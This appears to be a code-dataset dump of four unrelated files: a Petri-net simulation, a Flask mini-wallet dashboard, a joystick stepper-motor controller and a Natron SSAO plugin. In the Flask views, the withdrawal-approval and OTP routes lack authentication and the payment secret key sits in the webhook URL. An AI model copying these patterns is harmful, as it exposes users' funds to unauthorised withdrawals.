Place.avg_markers += self.__markers
Place.changes_count += 1
self.min_markers = min(self.__markers, self.min_markers)
self.max_markers = max(self.__markers, self.max_markers)
self.avg_markers += self.__markers
self.changes_count += 1
class Transition:
transitions_id = 1
def __init__(self, time_delay=0.0, name=None):
self.__input_arcs = []
self.__output_arcs = []
self.__time_delay = time_delay
self.__distribution = "exp"
self.__t_current = 0
self.__time_deviation = 0
self.__t_next = float('inf')
self.priority = 0
if name is None:
self.name = 'Transition' + str(Transition.transitions_id)
Transition.transitions_id += 1
else:
self.name = name
def get_t_next(self):
return self.__t_next
def add_input_arc(self, arc):
self.__input_arcs.append(arc)
def add_output_arc(self, arc):
self.__output_arcs.append(arc)
def set_distribution(self, distribution):
self.__distribution = distribution
def could_be_activated(self):
could_be_activated = True
for arc in self.__input_arcs:
if arc.multiplicity > arc.input_element.get_markers():
could_be_activated = False
break
return could_be_activated
def activation(self, t_current):
self.__t_current = t_current
for arc in self.__input_arcs:
arc.input_element.decrease_markers(arc.multiplicity)
self.__t_next = self.__t_current + self.get_delay()
def post_activation(self):
for arc in self.__output_arcs:
arc.output_element.increase_markers(arc.multiplicity)
self.__t_next = float('inf')
def get_delay(self):
if self.__time_delay == 0:
return self.__time_delay
if self.__distribution == "exp":
return np.random.exponential(self.__time_delay)
elif self.__distribution == "unif":
if self.__time_deviation != 0:
return (self.__time_delay-self.__time_deviation +
2*self.__time_deviation*np.random.rand())
elif self.__distribution == "norm":
if self.__time_deviation != 0:
return np.random.normal(self.__time_delay, self.__time_deviation)
return self.__time_delay
class Arc:
def __init__(self, input_element, output_element, multiplicity=1):
self.multiplicity = multiplicity
self.input_element = input_element
self.output_element = output_element
if isinstance(self.input_element, Transition):
self.input_element.add_output_arc(self)
elif isinstance(self.output_element, Transition):
self.output_element.add_input_arc(self)
class Model:
verification = False
def __init__(self, transitions, places):
self.__transitions = transitions
self.__places = places
self.__marker_changes = 0
self.verification_info = None
def simulate_for_time(self, time_modelling):
if not self.verification:
self.print_markers()
t_current = 0
while t_current < time_modelling:
t_current = self.iterate(t_current)
if not self.verification:
self.print_stats()
def simulate_for_iterations(self, iterations):
if not self.verification:
self.print_markers()
t_current = 0
current_iteration = 0
while current_iteration < iterations:
t_current = self.iterate(t_current)
current_iteration += 1
if not self.verification:
self.print_stats()
else:
self.print_verification()
def iterate(self, t_current):
# Priority for future
# transitions = sorted(self.__transitions, key=operator.attrgetter('priority'), reverse=True)
transitions = self.__transitions.copy()
while len(transitions) != 0:
for transition in transitions:
if not transition.could_be_activated():
transitions.remove(transition)
if len(transitions) != 0:
transition = Model.choose_transition(transitions)
transition.activation(t_current)
transitions.remove(transition)
if not self.verification:
print(t_current, "Activated", transition.name)
self.print_markers()
t_next = float('inf')
for transition in self.__transitions:
if transition.get_t_next() < t_next:
t_next = transition.get_t_next()
if t_next != float('inf'):
for transition in self.__transitions:
if transition.get_t_next() == t_next:
transition.post_activation()
t_current = t_next
if not self.verification:
print(t_current, transition.name, "finished processing")
self.print_markers()
return t_current
@staticmethod
def choose_transition(transitions):
randNum = np.random.rand()
idx = int(randNum * len(transitions))
return transitions[idx]
def print_markers(self):
markers_info = ''
for marker in self.__places:
markers_info += (marker.name+":"+str(marker.get_markers())+"\t")
print(markers_info)
def print_stats(self):
print("STATISTICS")
for marker in self.__places:
print(marker.name, "min markers: ", marker.min_markers)
print(marker.name, "max markers: ", marker.max_markers)
print(marker.name, "mean markers: ", marker.avg_markers/marker.changes_count)
print("Avg min markers: ", Place.min_markers)
print("Avg max markers: ", Place.max_markers)
print("Avg mean markers: ", Place.avg_markers/Place.changes_count)
def print_verification(self):
verification_str = self.verification_info
for place in self.__places:
if not place.name.startswith("P"):
verification_str += '|{:^15.2f}'.format(place.avg_markers/place.changes_count)
verification_str += " |"
print(verification_str)
@staticmethod
def print_verification_header():
verification_str = "| Надх. Д1 | Надх. Д2 |" \
" К-сть Д1 для комплектації | К-сть Д2 для комплектації |"
verification_str += "|{:^15}|{:^15}|{:^15}|{:^15}|".format(
" Черга Д1", "Черга Д2", "Порожні секції", "Заповнені секції")
print(verification_str)
def conveer_task(det1=10, det2=40, complect_d1=20, complect_d2=20):
p1 = Place(1)
t1 = Transition(name="Надходження деталей 1-ого типу")
arc1 = Arc(p1, t1)
arc2 = Arc(t1, p1)
p2 = Place(name="Черга Д1") # Черга деталей 1-ого типу
arc3 = Arc(t1, p2, det1)
p3 = Place(1)
t2 = Transition(name="Надходження деталей 2-ого типу")
arc4 = Arc(p3, t2)
arc5 = Arc(t2, p3)
p4 = Place(name="Черга Д2") #Черга деталей 2-ого типу
arc6 = Arc(t2, p4, det2)
p5 = Place(1)
t3 = Transition(name="Надходження секції конвеєра")
arc7 = Arc(p5, t3)
arc8 = Arc(t3, p5)
p6 = Place()
arc9 = Arc(t3, p6)
t4 = Transition(name="Пропуск секції")
arc10 = Arc(p6, t4)
p7 = Place(name="Порожні секції") #Кількість порожніх секцій
arc11 = Arc(t4, p7)
t5 = Transition(name="Комплектація")
arc11 = Arc(p2, t5, complect_d1)
arc12 = Arc(p4, t5, complect_d2)
arc13 = Arc(p6, t5)
p8 = Place(name="Заповнені секції") #Кількість заповнених секцій
arc14 = Arc(t5, p8)
model = Model([t1, t2, t3, t4, t5], [p1, p2, p3, p4, p5, p6, p7, p8])
model.verification_info= '| {:^8d} | {:^8d} | {:^25d} | {:^25d} |'\
.format(det1, det2, complect_d1, complect_d2)
model.simulate_for_iterations(1000)
def verification():
Model.verification = True
Model.print_verification_header()
conveer_task()
conveer_task(det1=40)
conveer_task(det2=10)
conveer_task(complect_d2=80)
conveer_task(complect_d1=5)
conveer_task(det1=60, det2=20, complect_d1=120, complect_d2=10)
if __name__ == '__main__':
conveer_task()
verification()
| [
"[email protected]"
] | |
20441f77809d4c51f001a990c7d85523e166981a | 86935ecbd23814f167b128cca6cfb4674e1a386f | /dashboard/views.py | 9d4f17982456e2839c66d2a255477dfe5ea02841 | [] | no_license | boiyelove/flask-miniwallet | bebcec2a5df69c15e3fd5049642b47e4145cf6ba | 4e8f37826bac8e9987636009cfbfbfe62fa2da1b | refs/heads/master | 2022-11-24T22:02:49.255200 | 2020-07-06T05:50:12 | 2020-07-06T05:50:12 | 228,971,165 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 9,035 | py | import sys
import json
import logging
from flask import render_template, abort, request, Response, redirect, flash, url_for, g, Markup
from flask_login import login_required, current_user
import miniwalletapp as app
from miniwalletapp.config import PAYSTACK_SECRET_KEY as srk
from miniwalletapp.models import User, TransactionLog, BankAccount, WithdrawalRequest
from .utils import init_transaction, verify_hook, resend_otp, finalize_withdrawal
from .forms import BankForm
from . import dashboard as dbp
from ..models import BankAccount, Bank, OTPLog
login_manager = app.login_manager
data = None
@login_manager.user_loader
def load_user(user_id):
try:
user = User.query.filter(User.id == int(user_id)).first()
return user
except:
return None
@dbp.route('/dashboard', methods=['GET'])
@login_required
def dashboard(*args, **kwargs):
trlogs = TransactionLog.query.filter_by(marked=True).order_by(TransactionLog.timestamp.desc()).paginate(1,10,error_out=False)
return render_template('dashboard.html', title="Dashboard", trlogs = trlogs)
@dbp.route('/withdraw', methods=['GET', 'POST'])
@login_required
def withdrawal():
if current_user.validate_bank_account():
if request.method == 'POST':
amount = int(request.form['amount'])
if amount is not None and amount > 100:
if current_user.balance > amount:
withdrawal = current_user.withdraw(amount)
if withdrawal['status']:
flash('Your withdrawal was successful, Your acccount will be credited shortly')
else:
flash(withdrawal['message'])
return redirect(url_for('dashboard.dashboard'))
else:
message = Markup('<a href="' + url_for('dashboard.bank_settings') + '">Please, provide bank account details before continuing to withdrawals</a>')
flash(message)
return render_template('withdrawal.html', title="withdraw")
@dbp.route('/deposit', methods=['GET', 'POST'])
@login_required
def deposit():
data = {}
if request.method == 'GET':
logging.error('deposit get request')
refcode = request.args.get('ref', None)
if refcode:
trlog = TransactionLog.query.filter_by(code=refcode).first()
logging.error('trlog is', trlog)
logging.error('type trlog is', type(trlog))
logging.error('trlog marked is', trlog.marked)
if trlog:
if not trlog.marked:
trlog = trlog.remit_pay()
if trlog.marked:
flash("You deposit has been completed successfully")
data['url'] = url_for('dashboard.dashboard')
do_json = request.args.get('json', False)
if do_json:return Response(json.dumps(data), mimetype='application/json', status=201)
else:
flash("Opps! something went wrong with your transaction reference")
elif (request.method == 'POST'):
form = request.get_json(force=True)
if form:
amount = int(form['amount'])
if amount >= 100:
ref = init_transaction((amount * 100), current_user.email)
data['reference'] = ref
data['amount'] = amount * 100
data['email'] = current_user.email
return Response(json.dumps(data), mimetype='application/json', status=201)
else:
return Response(json.dumps(data), mimetype='application/json', status=406)
# if request.method== 'POST':
# if amount_form.validate():
return render_template("deposit.html", title="deposit", data=data)
@dbp.route('/settings')
@login_required
def account_settings():
return render_template("settings.html", title="Settings", data=data)
@dbp.route('/settings/bank_account', methods=['GET', 'POST'])
@login_required
def bank_settings():
bnk_acc = current_user.get_bank_account()
form = BankForm(request.form)
if request.method == 'GET' and bnk_acc:
form = BankForm(bank = bnk_acc.bank_id,
account_name = bnk_acc.account_name,
account_number = bnk_acc.account_number)
form.bank.data = bnk_acc.bank_id
if request.method == 'POST':
if form.validate_on_submit():
bank = Bank.query.filter_by(id=form.bank.data).first()
uid = current_user.get_id()
if bnk_acc is not None:
bnk_acc.bank_id = form.bank.data
bnk_acc.account_name = form.account_name.data
bnk_acc.account_number = (form.account_number.data).strip()
flash("Your bank account details have been updated successfully")
else:
bnk_acc = BankAccount(bank_id = form.bank.data,
account_name = form.account_name.data,
account_number = form.account_number.data,
user_id = uid )
app.db.session.add(bnk_acc)
flash("Your bank account details have been save successfully")
app.db.session.commit()
return render_template("bank_settings.html", title="Bank Accounts", data=data, form=form)
@dbp.route('/webhook/' + srk, methods=['POST'])
def webhook():
if verify_hook(request):
logging.error('passed hooktest')
data = request.json
resp_data = data['data']
logging.error('data is', data)
if data['event'] == 'transfer.success':
logging.error('passed transfer success')
trlog = TransactionLog.query.filter_by(code=resp_data['transfer_code']).first()
if trlog is not None:
trlog = trlog.remit_pay()
return Response({}, status=200)
elif data['event'] == 'transfer.failed':
trlog = TransactionLog.query.filter_by(code=resp_data['transfer_code']).first()
if trlog is not None:
trlog = trlog.reverse_pay()
return Response({}, status=200)
elif data['event'] == 'charge.success':
trlog = TransactionLog.query.filter_by(code=resp_data['reference']).first()
if trlog is not None:
trlog.amount = data['data']['amount']
trlog = trlog.remit_pay()
return Response({}, status=200)
# return Response({}, status=200)
return Response({}, status=400) #non 200
@dbp.route('/otp_setting/', methods=['GET', 'POST'])
def otp_setting():
otplogs = OTPLog.query.order_by(OTPLog.timestamp.desc()).paginate(1,10,error_out=False)
mode = OTPLog.get_mode()
if request.method == 'POST':
logging.error('submit_button is', request.form['submit_button'])
if request.form['submit_button'] == 'disable-otp':
message = OTPLog.disable_otp()
flash(message)
elif request.form['submit_button'] == 'enable-otp':
message = OTPLog.enable_otp()
flash(message)
mode = OTPLog.get_mode()
elif request.form['submit_button'] == 'submit-otp':
if int(request.form['otp-code']):
message = OTPLog.disable_otp(code = int(request.form['otp-code']))
flash(message)
mode = OTPLog.get_mode()
return render_template("otp_setting.html", otpstatus = mode, title="OTP Settings", otplogs = otplogs)
@dbp.route('/withdrawal_setting/', methods=['GET', 'POST'])
def confirm_withdrawals():
data = {}
otp_mode = True #OTPLog.get_mode()
submit_button = None
trlog = None
if request.method == 'POST':
# withdrawals = request.form.getlist('withdrawals', None)
# print('Request.forms is', request.form, file=sys.stderr)
trlog = request.form.get('trlog', None)
submit_button = request.form.get('submit_button', None)
# if submit_button == 'resend-otp':
# if trlog:
# response = resend_otp(trlog)
# print('response is', response, file=sys.stderr)
# submit_button = 'resent-otp'
# flash(response['message'])
# else:
# flash("Oops! something went wrong, pleae select a valid withdrawal")
if trlog:
wreq = WithdrawalRequest.query.filter_by(id=trlog).first()
if submit_button == 'confim-withdrawal':
response = wreq.accept()
flash(response['message'])
elif submit_button == 'deny-withdrawal':
print('wreq is ', wreq, file=sys.stderr)
if wreq.deny():
flash("The withdrawal has been denied and the funds credited back to user's balance")
else:
flash('Oops! an error occured')
return redirect(url_for('dashboard.confirm_withdrawals'))
# elif submit_button == 'submit-otp':
# otp_code = request.form.get('otp_code', None)
# if otp_code:
# # trlog_item = trlog.query.filter_by(code=trlog)
# # response = trlog_item.confirm_withdrawal(otp_code)
# response = finalize_withdrawal(trlog, int(otp_code))
# if response:
# flash(response['message'])
# else:
# flash('an error occured!')
# submit_button = None
# otplogs = OTPLog.query.order_by(OTPLog.timestamp.desc()).paginate(1,10,error_out=False)
# mode = OTPLog.get_mode()
# if request.method == 'POST':
# logging.error('submit_button is', request.form['submit_button'])
# if request.form['submit_button'] == 'disable-otp':
# message = OTPLog.disable_otp()
# flash(message)
# elif request.form['submit_button'] == 'enable-otp':
# message = OTPLog.enable_otp()
# flash(message)
# mode = OTPLog.get_mode()
# elif request.form['submit_button'] == 'submit-otp':
# if int(request.form['otp-code']):
# message = OTPLog.disable_otp(code = int(request.form['otp-code']))
# flash(message)
# mode = OTPLog.get_mode()
trlogs = WithdrawalRequest.query.all()
print('Withdrawal requests is', trlogs, file=sys.stderr)
return render_template("confirm_withdrawal.html",
title="Withdrawal Settings",
trlogs = trlogs,
otp_mode = otp_mode,
trlog = trlog,
submit_button=submit_button) | [
"[email protected]"
] | |
5cb9304fe64d994d3cae8a92ea7f1ee08d05dd72 | 18c2f01b0c8a638d23b445c5a29366de3da5ade4 | /joystickSteppedMotor.py | afe56cca4abf0ceaa9fa4c96e91cb9ae3094ddac | [] | no_license | kouichiUme/NobyArmIsAFactoryAutomationArm | d4b247822540952843f22f95d8e11e312cd0cbd8 | d7dd96f7e2bfebca95b46c829ca75ff791430a62 | refs/heads/master | 2020-03-27T11:22:39.029179 | 2018-12-30T15:16:47 | 2018-12-30T15:16:47 | 146,482,742 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 12,224 | py | # -*- coding: UTF-8 -*-
import pygame
from pygame.locals import *
import sys
sys.path.append(".")
import math
import time
import threading
import SteppedMotor
# ステッピングモータ初期化 r X Y Z (半径 10mm)
xSteppedMotor = SteppedMotor.SteppedMotor("X",10,12,16,20,21)
ySteppedMotor = SteppedMotor.SteppedMotor("Y",10,15,25,8,7)
zSteppedMotor = SteppedMotor.SteppedMotor("Z",10,2,3,4,14)
#x axis
xSteppedMotor.setDaemon(True)
xSteppedMotor.start()
#y axis
ySteppedMotor.setDaemon(True)
ySteppedMotor.start()
#z axis
zSteppedMotor.setDaemon(True)
zSteppedMotor.start()
# ボタンは 0から11まで
# アナログボタンを押すと joyaixisモーションがアナログで動く
# 軸0 左アナログコントローラ左右(左が-1から1)
# 軸1 左アナログコントローラ上下(上が-1から下が1)
# 軸2 右アナログコントローラ左右(左が-1から下が1)
# 軸3 右アナログコントローラ上下(上が-1から下が1)
# プログラム(e.button) ジョイスティックの番号 位置
# 0 1ボタン
RIGHT_ONE_BUTTON = 0
# if e.button == RIGHT_ONEBUTTON :
# print("1 button pushed");
# 1 2ボタン
RIGHT_TWO_BUTTON = 1
# 2 3ボタン
RIGHT_THREE_BUTTON = 2
# 3 4ボタン
RIGHT_FOUR_BUTTON = 3
# 4 5ボタン 左上トリガー
LEFT_UP_TRIGGER = 4
# 5 6ボタン 右上トリガー
RIGHT_UP_TRIGGER = 5
# 6 7ボタン 左下トリガー
LEFT_DOWN_TRIGGER = 6
# 7 8ボタン 右下トリガー
RIGHT_DOWN_TRIGGER = 7
# 8 9ボタン リセットボタン
RESET_BUTTON = 8
# 9 9ボタン スタートボタン
START_BUTTON = 9
# 10 左アナログボタン
LEFT_ANALOG_BUTTON = 10
# 11 右アナログボタンスイッチ
RIGHT_ANALOG_BUTTON = 11
pygame.joystick.init()
try:
j = pygame.joystick.Joystick(0)
j.init()
except pygame.error:
print('ジョイスティックを差し込め')
def main():
pygame.init()
while True:
for e in pygame.event.get(): # イベントチェック
if e.type == QUIT: # 終了が押された？
return
if (e.type == KEYDOWN and
e.key == K_ESCAPE): # ESCが押された？
return
#
# Joystick関連のイベントチェック
# コントローラ
if e.type == pygame.locals.JOYAXISMOTION: # 7
#左コントローラ
x, y = j.get_axis(0), j.get_axis(1)
#右コントローラ
z, t = j.get_axis(2), j.get_axis(3)
print('x and y : ' + str(x) + ' , ' + str(y))
#左に進む(X axis CW)
if x < 0 :
xSteppedMotor.setMoveDirection(SteppedMotor.MOVE_DIRECTION_FORWARD)
if math.fabs(x) < 0.001 :
xSteppedMotor.setMoveDirection(SteppedMotor.MOVE_DIRECTION_STOP)
#右に進む(X axis CCW)
if x > 0 :
xSteppedMotor.setMoveDirection(SteppedMotor.MOVE_DIRECTION_BACKWARD)
# 手前に移動
if y < 0:
ySteppedMotor.setMoveDirection(SteppedMotor.MOVE_DIRECTION_FORWARD)
#停止
if math.fabs(y) < 0.001 :
ySteppedMotor.setMoveDirection(SteppedMotor.MOVE_DIRECTION_STOP)
# 奥に移動
if y > 0:
ySteppedMotor.setMoveDirection(SteppedMotor.MOVE_DIRECTION_BACKWARD)
print('z and t : ' + str(z) + ' , ' + str(t))
#
elif e.type == pygame.locals.JOYBALLMOTION: # 8
print('ball motion')
elif e.type == pygame.locals.JOYHATMOTION: # 9
print('hat motion')
elif e.type == pygame.locals.JOYBUTTONDOWN: # 10
pressedButton(e.button)
print(str(e.button)+'番目のボタンが押された')
elif e.type == pygame.locals.JOYBUTTONUP: # 11
releasedButton(e.button)
print(str(e.button)+'番目のボタンが離された')
#
# ボタン押したら特定の方向に進む
#
def pressedButton(button):
print("button " + str(button) + " is pressed ")
if button == RIGHT_ONE_BUTTON:
arm_X_Move()
elif button == RIGHT_TWO_BUTTON:
arm_Y_MOVE()
elif button == RIGHT_THREE_BUTTON:
arm_Z_MOVE()
elif button == RIGHT_FOUR_BUTTON:
arm_T_MOVE()
elif button == LEFT_UP_TRIGGER:
robotArmRotateClockWiseStart()
elif button == RIGHT_UP_TRIGGER:
robotArmPalmPinchClockWiseStart()
elif button == LEFT_DOWN_TRIGGER:
robotArmRotateCounterClockWiseStart()
elif button == RIGHT_DOWN_TRIGGER:
robotArmPalmPinchCounterClockWiseStart()
# comment
# ボタン離したときには停止
#
#
def releasedButton(button):
print("button " + str(button) + " is released ")
if button == RIGHT_ONE_BUTTON:
arm_X_stop()
elif button == RIGHT_TWO_BUTTON:
arm_Y_STOP()
elif button == RIGHT_THREE_BUTTON:
arm_Z_STOP()
elif button == RIGHT_FOUR_BUTTON:
arm_T_STOP()
elif button == LEFT_UP_TRIGGER:
robotArmRotateClockWiseStop()
elif button == RIGHT_UP_TRIGGER:
robotArmPalmPinchClockWiseStop()
elif button == LEFT_DOWN_TRIGGER:
robotArmRotateCounterClockWiseStop()
elif button == RIGHT_DOWN_TRIGGER:
robotArmPalmPinchCounterClockWiseStop()
#
# 腕の軸部分
# 時計回りに回るように thetaを増やすメソットを開始する
#
def robotArmRotateClockWiseStart():
print("start rotate clockwise")
time.sleep(0.1)
xSteppedMotor.move(30)
# ySteppedMotor.move(300)
zSteppedMotor.move(30)
#theta += 10
#
#robotArmRotate(theta)
return
#
# 停止する
def robotArmRotateClockWiseStop():
print("stop rotate clockwise")
#stopRotate()
return
#腕軸部分の時計回り回転
# theta を減らすような内部メソッドを呼び出す
def robotArmRotateCounterClockWiseStart():
print("start rotate counter clockwise")
return
def robotArmRotateCounterClockWiseStop():
print("stop rotate counter clockwise")
return
#手首半時計回りに回す開始
def robotArmPalmPinchClockWiseStart():
print("startrotate palm clockwise")
return
#手首半時計回りに回す停止
def robotArmPalmPinchClockWiseStop():
print("stop rotate palm clockwise")
return
#手首半時計回りに回す
def robotArmPalmPinchCounterClockWiseStart():
print("startrotate palm counter clockwise")
return
#手首半時計回りに回す
def robotArmPalmPinchCounterClockWiseStop():
print("stop rotate palm counter clockwise")
return
def arm_X_Move():
print("x move")
#
def arm_X_stop():
print("x stop")
#
def arm_Y_MOVE():
print("y move")
def arm_Y_STOP():
print("y move")
#
def arm_Z_MOVE():
print("Z move")
def arm_Z_STOP():
print("Z move")
def arm_T_MOVE():
print("T move")
def arm_T_STOP():
print("T move")
#
def hand_Grasp():
print("grasp")
def hand_release():
print("release")
#
# アナログジョイスティック
#
# 角度と伸び具合をあらわすヴェクトル絶対値を返す
#
def roundArm(armX, armY):
print(" " + str(armX) + " " + str(armY))
# x,yから向きを計算して
# x^2 + y~2から 腕の伸び具合を計算します
x2 = armX*armX
y2 = armY*armY
v = math.sqrt(x2+y2)
v0 = v
theta1 = 0
# 0 < math.acos < math.pi
# math.asin < 0
#
if abs(v) > 0.0000001:
theta1 = math.acos(armX/v)
# - math.pi /2 < math.asin < math.pi /2
theta2 = math.asin(armY/v)
theta_t = 0
if armX < 0 and armY < 0:
theta1 = - theta1
theta2 = -( math.pi) - theta2
#math.pi/4 より大
if abs(armX) < abs(armY) :
theta_t = math.pi/2 - theta1
else:
theta_t = -math.pi - theta1
elif armX < 0 and armY > 0:
theta1 = theta1
theta2 = math.pi - theta2
if abs(armX) < abs(armY) :
theta_t = theta1 - math.pi /2
else:
theta_t = math.pi - theta1
elif armX > 0 and armY < 0:
theta1 = -theta1
theta2 = theta2
if abs(armX) < abs(armY) :
theta_t = -math.pi/2 - theta1
else:
theta_t = - theta1
elif armX > 0 and armY > 0:
theta1 = theta1
theta2 = theta2
if abs(armX) < abs(armY) :
theta_t = math.pi/2 - theta1
else:
theta_t = theta1
elif armX > 0 :
theta1 = 0
theta2 = 0
theta_t = 0
elif armX < 0:
# 2 math.piのとき
theta2 = math.pi
theta1 = math.pi
theta_t =0
elif armY > 0:
theta2 = math.pi/2
theta1 = math.pi/2
theta_t = 0
elif armY < 0:
theta2 = - math.pi/2
theta1 = - math.pi/2
theta_t = 0
print("theta1 " + str(theta1) + " theta2:" + str(theta2))
i = math.sin(theta1)*armY + math.cos(theta1)*armX
vmax = math.sqrt(1 + math.tan(theta_t)*math.tan(theta_t))
v0 = abs(i/vmax)
print(" i : " + str(abs(i/vmax)) + " theta : " + str(theta1))
return v0,theta1
# 向き
# acos(x/abs(x))
#
# x*x + y*Y /abs(max(x)^2 + max(y)^2)
# maxx = 1 , maxy = 1
minPwmValue = 500
maxPwmValue = 2000
rangePwm = maxPwmValue - minPwmValue
centerPwmValue = (maxPwmValue + minPwmValue) /2
# ロボットアーム向き
# 腕の回転角度をもらってそこに移動する
# - math.pi < theta < math.pi
def robotArmDirection(theta):
print("theta :" + str(theta))
degree = theta/(2*math.pi)
pwmRate = rangePwm * degree + centerPwmValue
print("pwm rate : " + str(pwmRate))
# ここでロボットアーム側PWMに変換する
#
# ロボットアームの肩
# 肩一番下のサーボの開閉
# デフォルトは0の状態
# 0 < v < 1
minShoulderPwmValue = 500
maxShoulderPwmValue = 2000
centerShoulderPwmValue = (maxShoulderPwmValue + minShoulderPwmValue) /2
def calcRangePwm(x,y):
return y - x
randgeShoulderPwmValue = calcRangePwm(minShoulderPwmValue,maxShoulderPwmValue)
def robotArmShoulder(theta):
print("shoulder theta :" + str(theta))
randgeShoulderPwmValue = calcRangePwm(minShoulderPwmValue,maxShoulderPwmValue)
shoulderPwmRate = randgeShoulderPwmValue * theta
if theta < 0.000001 :
shoulderPwmRate = 0 #free
else :
shoulderPwmRate += minShoulderPwmValue
print("shoulder pwm :" + str(shoulderPwmRate))
# shoulderPwmRate = maxShoulderPwmValue - shoulderPwmRate
# ここでロボットアーム側PWMに変換する
#
# ロボットアーム腕部分
# 肩とほぼ同じ
minElbowPwmValue = 500
maxElbowPwmValue = 2000
def robotArmElbow(theta):
print("elbow theta :" + str(theta))
randgeElbowPwmValue = calcRangePwm(minElbowPwmValue,maxElbowPwmValue)
# ここでロボットアーム側PWMに変換する
elbowPwmRate = randgeElbowPwmValue * theta
if theta < 0.000001 :
elbowPwmRate = 0
else:
elbowPwmRate += minElbowPwmValue
print("elbow pwm :" + str(elbowPwmRate))
# ロボットアーム腕の回転
#
def robotArmRotate(theta):
print("rotate theta :" + str(theta))
# ここでロボットアーム側PWMに変換する
# ロボットの手首スナップ（上下）
def robotArmWristSnap(theta):
print("Snap :" + str(theta))
# ここでロボットアーム側PWMに変換する
degree = theta/(2*math.pi)
pwmRate = rangePwm * degree + centerPwmValue
print("snap pwm : " + str(pwmRate))
# ロボットの手でつまむ部分の回転
def robotArmPalmPinch(theta):
print("PalmPinch :" + str(theta))
# ここでロボットアーム側PWMに変換する
if __name__ == '__main__':
main()
| [
"[email protected]"
] | |
5c5e9f2f6ce7d93a893053031026ce9a277c6a81 | 186605795f8e6ac6e371bd8c6bfa597ba1161339 | /Draw/SSAO/SSAO.py | 04c600172206c728e1f2ec6142f59b2a7860be0d | [] | no_license | sshyran/natron-plugins | f8d45b711c85f813341397c0160cb1dbc1f4f8e8 | f2cccf2101f363d2e5fa3efdf6f005e5efd1647b | refs/heads/master | 2023-01-13T19:38:33.991934 | 2016-09-10T23:24:40 | 2016-09-10T23:24:40 | 67,956,004 | 0 | 0 | null | 2023-01-09T16:35:13 | 2016-09-11T21:43:46 | Python | UTF-8 | Python | false | false | 21,568 | py | # -*- coding: utf-8 -*-
# DO NOT EDIT THIS FILE
# This file was automatically generated by Natron PyPlug exporter version 10.
# Hand-written code should be added in a separate file named SSAOExt.py
# See http://natron.readthedocs.org/en/master/groups.html#adding-hand-written-code-callbacks-etc
# Note that Viewers are never exported
import NatronEngine
import sys
# Try to import the extensions file where callbacks and hand-written code should be located.
try:
from SSAOExt import *
except ImportError:
pass
def getPluginID():
return "community.plugins.ssao"
def getLabel():
return "SSAO"
def getVersion():
return 1
def getIconPath():
return "SSAO.png"
def getGrouping():
return "Draw"
def getPluginDescription():
return "Generate an AO pass from a Z pass.\n\n-Use the Near and Far plane to map the Z pass roughly bettween 0 and 1 value.\n\n-Set Radius and Falloff\n\n-Set the sample value (may need to go to 1000 iteration for a very smooth result)\n\n-as you increase the samples, you\'ll need to lower the sample noise value to something like 0.05\n\n-Finally you can blur the AO a little bit to get rid of the final noise/artifacts...\n\nThe original code is taken from here :\ntheorangeduck.com/page/pure-depth-ssao"
def createInstance(app,group):
# Create all nodes in the group
# Create the parameters of the group node the same way we did for all internal nodes
lastNode = group
# Create the user parameters
lastNode.Controls = lastNode.createPageParam("Controls", "Controls")
param = lastNode.createStringParam("laba", "")
param.setType(NatronEngine.StringParam.TypeEnum.eStringTypeLabel)
param.setDefaultValue("Modify Z values :")
param.restoreDefaultValue()
# Add the param to the page
lastNode.Controls.addParam(param)
# Set param properties
param.setHelp("")
param.setAddNewLine(True)
param.setEvaluateOnChange(False)
param.setAnimationEnabled(False)
lastNode.laba = param
del param
param = lastNode.createChoiceParam("Shuffle1outputR", "Z Channel")
# Add the param to the page
lastNode.Controls.addParam(param)
# Set param properties
param.setAddNewLine(True)
param.setEvaluateOnChange(False)
param.setAnimationEnabled(False)
param.set("A.RenderLayer.Depth.Z")
lastNode.Shuffle1outputR = param
del param
param = lastNode.createIntParam("np", "Near Plane")
param.setMinimum(0, 0)
param.setDisplayMinimum(0, 0)
param.setDisplayMaximum(1000, 0)
param.setDefaultValue(0, 0)
param.restoreDefaultValue(0)
# Add the param to the page
lastNode.Controls.addParam(param)
# Set param properties
param.setHelp("the closest Z value")
param.setAddNewLine(True)
param.setAnimationEnabled(True)
param.setValue(265, 0)
lastNode.np = param
del param
param = lastNode.createIntParam("fp", "Far Plane")
param.setMinimum(0, 0)
param.setDisplayMinimum(0, 0)
param.setDisplayMaximum(1000, 0)
param.setDefaultValue(1, 0)
param.restoreDefaultValue(0)
# Add the param to the page
lastNode.Controls.addParam(param)
# Set param properties
param.setHelp("")
param.setAddNewLine(True)
param.setAnimationEnabled(True)
param.setValue(330, 0)
lastNode.fp = param
del param
param = lastNode.createBooleanParam("showZ", "Show modified Z pass")
# Add the param to the page
lastNode.Controls.addParam(param)
# Set param properties
param.setHelp("Show the modified Z pass , ideally your scene needs to fit roughly between 0 and 1 value")
param.setAddNewLine(True)
param.setAnimationEnabled(True)
lastNode.showZ = param
del param
param = lastNode.createSeparatorParam("sepa", "")
# Add the param to the page
lastNode.Controls.addParam(param)
# Set param properties
param.setHelp("")
param.setAddNewLine(True)
param.setPersistant(False)
param.setEvaluateOnChange(False)
lastNode.sepa = param
del param
param = lastNode.createStringParam("labc", "")
param.setType(NatronEngine.StringParam.TypeEnum.eStringTypeLabel)
param.setDefaultValue("AO settings :")
param.restoreDefaultValue()
# Add the param to the page
lastNode.Controls.addParam(param)
# Set param properties
param.setHelp("")
param.setAddNewLine(True)
param.setEvaluateOnChange(False)
param.setAnimationEnabled(False)
lastNode.labc = param
del param
param = lastNode.createDoubleParam("radius", "Radius")
param.setMinimum(0, 0)
param.setMaximum(2147483647, 0)
param.setDisplayMinimum(0, 0)
param.setDisplayMaximum(2, 0)
# Add the param to the page
lastNode.Controls.addParam(param)
# Set param properties
param.setHelp("")
param.setAddNewLine(True)
param.setAnimationEnabled(True)
param.setValue(1.4, 0)
lastNode.radius = param
del param
param = lastNode.createDoubleParam("falloff", "Falloff")
param.setMinimum(-51315, 0)
param.setMaximum(2147483647, 0)
param.setDisplayMinimum(0.002, 0)
param.setDisplayMaximum(2, 0)
# Add the param to the page
lastNode.Controls.addParam(param)
# Set param properties
param.setHelp("Increase this Value soften the shadows")
param.setAddNewLine(True)
param.setAnimationEnabled(True)
param.setValue(0.15, 0)
lastNode.falloff = param
del param
param = lastNode.createIntParam("samples", "Samples")
param.setMinimum(0, 0)
param.setDisplayMinimum(0, 0)
param.setDisplayMaximum(100, 0)
param.setDefaultValue(0, 0)
param.restoreDefaultValue(0)
# Add the param to the page
lastNode.Controls.addParam(param)
# Set param properties
